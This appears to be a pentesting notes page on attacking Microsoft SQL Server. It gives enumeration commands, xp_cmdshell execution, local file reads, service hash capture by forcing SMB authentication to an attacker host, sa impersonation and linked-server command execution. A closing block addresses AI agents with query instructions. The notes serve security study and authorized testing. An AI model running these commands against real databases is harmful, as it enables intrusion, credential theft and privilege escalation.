# MSSQL

## <mark style="color:yellow;">ABOUT</mark>

<mark style="color:red;">**Microsoft SQL (MSSQL)**</mark>**&#x20;is Microsoft's SQL-based&#x20;**<mark style="color:purple;">**relational database**</mark>**&#x20;management system.** It is popular among database administrators and developers when building applications that run on Microsoft's .NET framework due to its strong native support for .NET. MSSQL have a lot of different targets. Default port is <mark style="color:yellow;">**1433**</mark> and <mark style="color:yellow;">**1434.**</mark> More about MSSQL Hacking you could read here [**\[LINK\]**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server)

## <mark style="color:yellow;">**Authentication Mods**</mark>

**MSSQL** have 2 authentication mods: <mark style="color:yellow;">**windows authentication mode (default)**</mark> and <mark style="color:yellow;">**mixed**</mark>. Windows authentication mode is often referred as <mark style="color:yellow;">**integrated**</mark> because of high integration with AD and Windows. With this you could authenticate into database automatically if you have right user or member of right group. **Mixed mode** is supporting both **AD/Windows** authentication and **SQL** one.  <mark style="color:yellow;">**If we are specifying domain, it'll use Windows auth, if we don't specify domain, it'll use SQL auth.**</mark> We should use <mark style="color:green;">**`servername\\accountname`**</mark> for domain specification.&#x20;

## <mark style="color:yellow;">Databases</mark>

**MSSQL** has default system databases that can help us understand the structure of all the databases that may be hosted on a target server.

| Database                                         | Description                                                                                                                                                                                            |
| ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| <mark style="color:green;">**`master`**</mark>   | Tracks all system information for an SQL server instance                                                                                                                                               |
| <mark style="color:green;">**`model`**</mark>    | Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database |
| <mark style="color:green;">**`msdb`**</mark>     | The SQL Server Agent uses this database to schedule jobs & alerts                                                                                                                                      |
| <mark style="color:green;">**`tempdb`**</mark>   | Stores temporary objects                                                                                                                                                                               |
| <mark style="color:green;">**`resource`**</mark> | Read-only database containing system objects included with SQL server                                                                                                                                  |

## <mark style="color:yellow;">MSSQL Useful Commands</mark>&#x20;

**HackTricks:** [**\[LINK\]**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#common-enumeration)

| Command                                                                                                                                                                                                                                                                                                                                                               | Description                                                                                  |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- |
| <mark style="color:green;">`impacket-mssqlclient carni17@13.13.13.13`</mark>                                                                                                                                                                                                                                                                                          | Connect to the MSSQL server.                                                                 |
| <mark style="color:green;">`SELECT name FROM master.dbo.sysdatabases;`</mark>                                                                                                                                                                                                                                                                                         | Show all databases                                                                           |
| <mark style="color:green;">**`use <database>;`**</mark>                                                                                                                                                                                                                                                                                                               | Select one of the existing databases                                                         |
| <mark style="color:green;">`SELECT * FROM databasename.INFORMATION_SCHEMA.TABLES;`</mark>                                                                                                                                                                                                                                                                             | Show all available tables in the selected database                                           |
| <mark style="color:green;">`select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;`</mark> | List users                                                                                   |
| <mark style="color:green;">`select * from <table>;`</mark>                                                                                                                                                                                                                                                                                                            | Show everything in the desired table                                                         |
| <mark style="color:green;">`xp_cmdshell 'whoami'`</mark>                                                                                                                                                                                                                                                                                                              | *<mark style="color:orange;">**NOT DEFAULT.**</mark>* System command execution via **MSSQL** |
| <mark style="color:green;">`SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents`</mark>                                                                                                                                                                                                                                  | *<mark style="color:orange;">**NOT DEFAULT.**</mark>* Reading local files                    |

## <mark style="color:yellow;">CMD Interacting</mark>

#### <mark style="color:blue;">Linux</mark>

```bash
sqsh -S 13.13.13.13 -U venator17 -P 'superkek' -h
# We need to use GO for command executon and use each line for each part of command which start with verb
```

```bash
sqsh -S 13.13.13.13 -U MILITECH\\venator17 -P 'superkek' -h 
# or we could use "." if we don't know domain name
```

```bash
impacket-mssqlclient MILITECH/ADMINISTRATOR@13.13.13.13 -windows-auth
```

#### <mark style="color:blue;">Windows</mark>

```bash
sqlcmd -S 13.13.13.13 -U venator17 -P superkek123
sqlcmd #If you are already in system
# We need to use GO for command executon and use each line for each part of command which start with verb
```

## <mark style="color:yellow;">ENUM</mark>

### <mark style="color:blue;">**Nmap**</mark> <mark style="color:blue;"></mark><mark style="color:blue;">Scan</mark>

```bash
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 13.13.13.13
```

### <mark style="color:blue;">**Metasploit**</mark> <mark style="color:blue;"></mark><mark style="color:blue;">Scan</mark>

We can use <mark style="color:green;">**`mssql_ping`**</mark> to get more useful info about **MSSQL** server.

```bash
msf6 auxiliary(scanner/mssql/mssql_ping) > set rhosts 13.13.13.13

rhosts => 13.13.13.13

msf6 auxiliary(scanner/mssql/mssql_ping) > run

[*] 13.13.13.13:       - SQL Server information for 13.13.13.13:
[+] 13.13.13.13:       -    ServerName      = SQL-01
[+] 13.13.13.13:       -    InstanceName    = MSSQLSERVER
[+] 13.13.13.13:       -    IsClustered     = No
[+] 13.13.13.13:       -    Version         = 15.0.2000.5
[+] 13.13.13.13:       -    tcp             = 1433
[+] 13.13.13.13:       -    np              = \\SQL-01\pipe\sql\query
[*] 13.13.13.13:       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

### <mark style="color:blue;">PowerUpSQL</mark>

<mark style="color:red;">**PowerUpSQL**</mark> [**\[LINK\]**](https://github.com/NetSPI/PowerUpSQL) is a SQL exploiting tool, which helps attack, enumeration etc.

```powershell
PS C:\> Import-Module .\PowerUpSQL.ps1
PS C:\> Get-SQLInstanceDomain
```

#### Login

<pre class="language-powershell"><code class="lang-powershell"><strong>PS C:\> Get-SQLQuery -Verbose -Instance "13.13.13.13,1433" -username "militech\sreed" -password "password123" -query 'Select @@version'
</strong></code></pre>

## <mark style="color:yellow;">ATTACKS</mark>

### <mark style="color:blue;">**Capture MSSQL Service Hash**</mark>

```sql
EXEC master..xp_dirtree '\\13.13.13.13\amogus\'
OR
EXEC master..xp_subdirs '\\13.13.13.13\amogus\'
# Then use Responder or impacket-smbclient to make a fake server and intercept hash
```

### <mark style="color:blue;">**Impersonating other users**</mark>

1. **Check what users can be impersonated**

<pre class="language-sql"><code class="lang-sql">SELECT distinct b.name
<strong>FROM sys.server_permissions a
</strong>INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO
</code></pre>

2. **Check current role and user**

```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO
```

3. **Impersonating&#x20;**<mark style="color:green;">**`sa`**</mark>**&#x20;user**

```sql
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO
```

### <mark style="color:blue;">Check linked server</mark>

1. **Identify linked Servers**

```sql
SELECT srvname, isremote FROM sysservers
GO
```

There would be a server list, those with <mark style="color:purple;">**"1"**</mark> is remote, those with <mark style="color:purple;">**"0"**</mark> is linked.

2. **Check rights**

```sql
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [13.13.13.13\LINKEDSERVER]
GO
```

3. **Execute commands at linked server**

```sql
EXECUTE('') AT [13.13.13.13\LINKEDSERVER]
GO
```

If you have quotes in command, use double singe quotes for it (<mark style="color:purple;">**''example''**</mark>)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://venator17.gitbook.io/bibliotheque/pentesting/databases/mssql.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
